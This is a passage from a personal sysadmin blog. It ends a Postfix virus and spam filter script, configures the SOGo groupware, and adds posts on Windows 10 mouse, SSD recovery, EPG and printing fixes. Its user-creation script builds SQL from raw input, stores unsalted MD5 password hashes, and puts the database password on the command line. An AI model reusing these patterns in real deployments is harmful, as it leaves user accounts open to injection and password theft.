    cp $INPUT $TARGET || { echo Cannot copy possible-virus mail; exit $EX_DEFER; };
    exit $EX_OK
elif [ "$return" != 0 ]; then
    logger -s -p mail.warning -t scanner "Temporary ClamAV failure $return, deferring"
    exit $EX_DEFER
fi

# check for undesired file extensions
MTMPDIR=`mktemp -d /tmp/mailattXXXXXXX`
BADEXT='[.](bat|cmd|com|cpl|exe|pif|msi|vb|vbs|js|jse|wsf)$'
munpack -C $MTMPDIR -q <$INPUT >/dev/null 2>&1
for i in $( ls $MTMPDIR | egrep -i '[.]zip' )
do
if [ $( unzip -l "${MTMPDIR}/${i}" | tail -n +4 |head -n -2 | egrep -i "${BADEXT}" | wc -l ) -gt 0 ]; then
    HASBADEXT=1
    break
fi
done
if [ $( ls $MTMPDIR | egrep -i "${BADEXT}" | wc -l ) -gt 0 ]; then
    HASBADEXT=1
fi

rm -r $MTMPDIR
if [ "$HASBADEXT" = 1 ]; then
    TARGET=/var/spool/virus/`basename $INPUT`
    logger -p mail.info "Found potential virus with suspicious extension, quarantined as $TARGET"
    cp $INPUT $TARGET || { echo Cannot copy possible-virus mail; exit $EX_DEFER; };
    exit $EX_OK
fi

# check for spam
/usr/bin/spamc -E <$INPUT >$OUTPUT
return="$?"
if [ "$return" = 1 ]; then
    # Activate this if you want to filter it out instead of just marking und filing into Junk
    #TARGET=/var/spool/spam/`basename $INPUT`
    logger -p mail.info "SpamAssassin found spam"
    #cp $INPUT $TARGET || { echo Cannot copy possible-spam mail; exit $EX_DEFER; };
    #exit $EX_OK
elif [ "$return" != 0 ]; then
    logger -s -p mail.warning -t scanner "Temporary SpamAssassin failure $return, delivering"
    # 1) deliver original mail
    OUTPUT=$INPUT
    # 2) or defer instead of delivering:
    # exit $EX_DEFER
fi

# deliver
$SENDMAIL "$@" <$OUTPUT
exit $?
chmod 755 /etc/postfix/mail-scanner.sh

Now register mail-scanner with postfix by appending content_filter option to smtpd line and adding the filter definition:

/etc/postfix/master.cf
smtp      inet  n       -       n       -       -       smtpd
  -o content_filter=scanner:dummy

scanner    unix  -       n       n       -       4       pipe
  flags=Rq user=nobody null_sender=
  argv=/etc/postfix/mail-scanner.sh -f ${sender} -- ${recipient}

10) Configure SOGo

/etc/sogo/sogo.conf
  /* Database configuration (mysql:// or postgresql://) */
  SOGoProfileURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_user_profile";
  OCSFolderInfoURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_folder_info";
  OCSSessionsFolderURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_sessions_folder";
  /* Mail */
  SOGoIMAPServer = localhost;
  SOGoSieveServer = sieve://127.0.0.1:4190;
  SOGoSMTPServer = 127.0.0.1;
  SOGoMailDomain = domain.com;
  SOGoMailingMechanism = smtp;
  /* Notifications */
  SOGoAppointmentSendEMailNotifications = YES;
  SOGoACLsSendEMailNotifications = NO;
  SOGoFoldersSendEMailNotifications = NO;

  /* Authentication */
  SOGoPasswordChangeEnabled = YES;

  /* SQL authentication example */
  /*  These database columns MUST be present in the view/table:
   *    c_uid - will be used for authentication -  it's the username or username@domain.tld)
   *    c_name - which can be identical to c_uid -  will be used to uniquely identify entries
   *    c_password - password of the user, plain-text, md5 or sha encoded for now
   *    c_cn - the user's common name - such as "John Doe"
   *    mail - the user's mail address
   *  See the installation guide for more details
   */
  SOGoUserSources = (
      {
        type = sql;
        id = users;
        viewURL = "mysql://sogo:sogopasswd@127.0.0.1:3306/sogo/sogo_users";
        canAuthenticate = YES;
        isAddressBook = YES;
        displayName = "Benutzer";
        userPasswordAlgorithm = md5;
      }
    );
  /* Web Interface */
  SOGoVacationEnabled = YES;
  SOGoSieveScriptsEnabled = YES;
  SOGoMailAuxiliaryUserAccountsEnabled = YES;

  /* General */
  SOGoLanguage = German;
  SOGoTimeZone = Europe/Vienna;
  SOGoSuperUsernames = (youradminacct);

  /* Activesync */
  SOGoMaximumPingInterval = 300;
  SOGoMaximumSyncWindowSize = 100;
  SOGoMaximumSyncResponseSize = 5172;

If you read the ACtiveSync tuning link, you know that you need to maybe increase the number of active instances for handling requests according to the number of your users by setting PREFORK= value in /etc/default/sogo

Now finally you need to add your admin user you also specified above in SOGoSuperUsernames with SOGo. For every new user, you can add the user like a normal shell user with

adduser [username]

and maybe disable login shell in /etc/passwd. Then use the following script to register your new user with the MySQL DB (reenter user’s password when prompted):

cr_user.sh
#!/bin/bash
if [ -z $1 ]; then
  echo $0 \[Username\]
  exit
fi

ID=$1
C_UID=`id -u $ID`
if [ $? -ne 0 ]; then
  echo User $ID does not exist
  exit
fi
C_GID=`id -g $ID`
C_CN=`getent passwd $ID  | cut -d ':' -f 5 | cut -d"," -f1`
C_MAIL=$ID@`cat /etc/mailname`
C_HOME=`eval echo ~$ID`
read -sp "Password: " C_PASSWORD
echo "INSERT INTO sogo_users(c_uid,c_name,c_cn,c_password,mail,home,uid,gid) VALUES 
('$ID','$ID','$C_CN',MD5('$C_PASSWORD'),'$C_MAIL','$C_HOME',$C_UID,$C_GID) 
ON DUPLICATE KEY UPDATE c_uid='$ID',c_name='$ID',c_cn='$C_CN',c_password=MD5('$C_PASSWORD'),
mail='$C_MAIL',home='$C_HOME',uid=$C_UID,gid=$C_GID;" | mysql -u sogo --password=sogopasswd sogo

Finally you can add SOGo backup script to your daily backups (you need to adjust the file):

cp /usr/share/doc/sogo/sogo-backup.sh /usr/sbin/sogo-backup
vi /usr/sbin/sogo-backup

Finally restart all the stuff

The case of the missing mouse cursor on Windows 10

By dose | October 14, 2016
Under: Uncategorized
Comments: No Comments »

Today I got a machine that was upgraded from Windows 8 to Windows 10.
The user complaine that his CDrom-Drive was not working after the
upgrade. This was eaisly solved by googling around a bit and finally
issuing:

reg.exe add "HKLM\System\CurrentControlSet\Services\atapi\Controller0" /f /v EnumDevice1 /t REG_DWORD /d 0x00000001

Ok, problem solved, but there was another strange problem.
I plugged in a PS/2 mouse device and it didn’t work.. So I plugged
in a USB mouse which worked. Then Windows 10 was doing some updates
like it always does and after reboot my USB mouse was gone too.
No chance to get PS/2 or USB mouse working.
PS/2 mouse driver always showed an exclamation mark telling me
Code 10 – “Das Gerät kann nicht gestartet werden” (the device cannot
be started).
When plugging in a USB mouse, no error was shown in the device manager
at all, but still no mousecursor appeared which made it hard to diagnose.
There just was no mouse pointer on the screen at all!
When looking at the Event log of the failed device, it told be
error 0x00000184 (which translates to STATUS_INVALID_DEVICE_STATE).
Now from https://technet.microsoft.com/en-us/library/ff542127?f=255&MSPPError=-2147217396
this oerror occurs if the Mouclass service is not connected.
So it had to me a mouclass issue.
When checking registry HKLM\System\CurrentControlSet\Services\Mouclass
I realized that there was no Enum subkey which normally contains the
attached devices indicating that the mouclass driver was not started.
When trying to start the device driver manually with “net start” command,
this succeeded so my theory about it not being started seemed to be correct. But why? So I checked the places where it is usually referenced
and found out that in

HKLM\CurrentControlSet\Control\Class\{4d36e96f-e325-11ce-bfc1-08002be10318}

(which is the Mouse device), the UpperFilters REG_MULTI_SZ value, which should contain the value

mouclass

was completely missing for some unknown reason! So I created this value,
rebooted and TADAAA, there was the mouse cursor again and mouse was working.
It would be really interesting what ruined this entry and what was causing me all these troubles, but finally it’s solved at least.

Recovering a failing SSD drive which drops off the bus on read error

By dose | August 21, 2016
Under: Uncategorized
Comments: 1 Comment »

This week I had to take a look at a machine with Windows 10 that randomly locked up during working with a certain application. The computer didn’t freeze, but the foreground application didn’t react. You could click around the desktop, but there also was no more reaction to user input by the operation system so that the onl choice was to press reset.

The system was equipped with a 120GB SSD drive as boot drive and after presseing RESET, the drive wasn’t detected anymore, so the BIOS showed “No boot device found”.
When powercycling the machine, the system was back to normal.

This rose suspicion that the SSD drive may be faulty, which got confirmed by doing a full drive scan with HDTune. It locked up during run and showed a bad sector of the drive. So unfortunately, it seems that the drive locked up when accessing a bad block on the media and never recovered from this fault and didn’t react to ATA Reset-commands.
So the drive had to be replaced, but as it was the system drive and a reinstall of the whole operating system would have been a tedious task (due to the lack of some applications’ installers, etc., blabla..), I tried recovering the disk to a new (bigger) SSD drive.

First try was using some Windows imaging applications like the free Macrium Reflect, but of course they failed due to the fact that the disk locked up during cloning when hitting a bad block.
So ddrescue to the rescue! This application also naturally aborts when the drive locks up, but it has a big advantage: It has the option to write a human-readable logfile to resume operations! So starting the first round was easy, just image until bad block (using -n, as scraping doesn’t work anyway if touching a bad block locks up the device. So scraping has to be done manually here):

ddrescue -n /dev/sdb sdb.dd sdb.log

Now first part of disk was written to image and on bad block, drive locked up, leaving behind a logfile that said: Good until block X, then everything bad. Now shutdown and restart machine to get SSD back working.
As ddrescue logfile format is human readable, it’s also easy to edit. The manual fortunately tells us about the logfile format:

The first non-comment line is the status line. It contains a non-negative integer and a status character. The integer is the position being tried in the input file. (The beginning of the block being tried in a forward pass or the end of the block in a backward pass).

The status character is one of these:

‘?’     copying non-tried blocks

Every line in the list of data blocks describes a block of data. It contains 2 non-negative integers and a status character. The first integer is the starting position of the block in the input file, the second integer is the size (in bytes) of the block. The status character is one of these:

‘?’     non-tried block
‘*’     failed block non-trimmed
‘/’     failed block non-scraped
‘-‘     failed block bad-sector(s)
‘+’     finished block

On second run, we don’t have to do much but copy the logfile to a new file (i.e. sdb2.log) and delete all the lines in the block list that don’t contain a “+” and setting status to “?” and then run in reverse direction with this new file to image from the other end of the disk until we hit a block again that is faulty:

ddrescue -R -n /dev/sdb sdb.dd sdb2.log

Now the device falls off again and we have the sdb2.log which now contains good blocks from the beginning, then a list of failed blocks and good blocks until the end. Now there can be a huge gap in between and we have to rescue data from good blocks in there too. So shutdown, powercycle, reboot again, copy sdb2.log to sdb3.log, then modify the lines that contain ‘/’ and ‘-‘ and are beyond the first faulty block to ‘?’, modify the status header from ‘+’ to ‘?’ again and try again in forward direction like in the first sample.. If it locks up, retry the step again (after power off and on) but leaving the faulty block you tried with ‘-‘ or ‘/’ and instead just mark the next blocks until you hit one that doesn’t lockup the machine. This way you can manually do the scraping in order to finally rescue as much data as possible from the drive to the image file.

Afterwards it can be written to the new drive (dd if=sdb.dd of=/dev/sdc bs=4096), as the newer drive is bigger, partitions can be moved and resized with gparted, but I had to ensure to use a very recent version of ntfs-3g for ntfsresize to work with new Windows 10 NTFS format, with older versions this step fails in gparted and I had to do it manually with recent version. Finally, the old drive was rescued and system was properly moved to the new drive.

EPG-Änderung Österreich Mux A

By dose | May 8, 2016
Under: Uncategorized
Comments: No Comments »

Am Land, wo es oft keine Versorgung mit KabelTV gibt, bleibt DVB-T die einzige brauchbare Möglichkeit, um die terrestrisch ausgestrahlten lokalen TV-Programme empfangen zu können, wenn man sich nicht extra eine Satellitenschüssel aufs Dach stellen möchte samt Decoderbox und Entschüsselungskarte. Mit DVB-T kommt man mit einer kleinen Zimmerantenne aus und kann das TV-Programm bequem am PC ansehen.
Hierfür hat sich der TV Schduler Pro ganz gut bewährt, da er mit relativ einfachen Mitteln auskommt (Streamproducer und VLC). Damit man ein aktuelles TV-Programm in der Weboberfläche hat, muss man einmal täglich EPG scannen und das Backend damit speisen, dann reicht zum Aufnehmen einer Sendung ein einfaches Anklicken im Webinterface.Zum EPG Scannen eignet sich das kleine C++ Programm EPGScan vortrefflich. Seit etwas über einem Monat lieferte mir dieses jedoch z.B. bei ORF-Programmen keine EPG-Texte mehr. Nun bin ich endlich dazugekommen das Problem zu analysieren: Scheinbar wurde das EPG kürzlich umgestellt, um für die Beschreibungstexte die Zeichensatzcodierung mit der Kennziffer 0x0B zu verwenden. EPGScan kennt in seiner aktuellsten Version diese Zeichensatzcodierung jedoch leider nicht und somit bleibt das EPG für die Kanäle dann leer.

Ein User hat vor mehreren Jahren schon einen Patch gemacht, der u.A. auch dieses PRoblem löst, indem in der Funktion getStringFromBytes in CStreamScan.cpp pData[0] auf <0x0C abfragt und für alle Codierungen startByte=1 setzt, statt auf jede ihm bekannt separat abzufragen. Damit ist das Problem nach dem neu Kompilieren dann gelöst und EPGScan findet wieder wie gewohnt die Programminformationen. Der Patch befindert sich auf der Sourceforge-Projektseite hier. Viell. hat ja noch Jemand das gleiche Problem.

Windows 7 x64 and Office 2013 refusing to print

By dose | September 28, 2015
Under: Uncategorized
Comments: No Comments »

On a Windows 7 x64 system with Office 2013 and Adobe Acrobat 8 installed, I was unable to print in M$ office (worked fine in other Windows applications). Office always returned that there is no default printer installed and it was unable to print, regardless of the printer I chose from the list. Checking event log, I found out that on restart of the Windows printer spooler service and on first print, I got an error that the spooler was unable to load AdobePDF.dll in Event log. Therefore I had to remove the Adobe PDF printer driver from the subkey of:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3

And everything worked fine again (except Adobe PDF printer of course, but this printer wasn’t really necessary anway).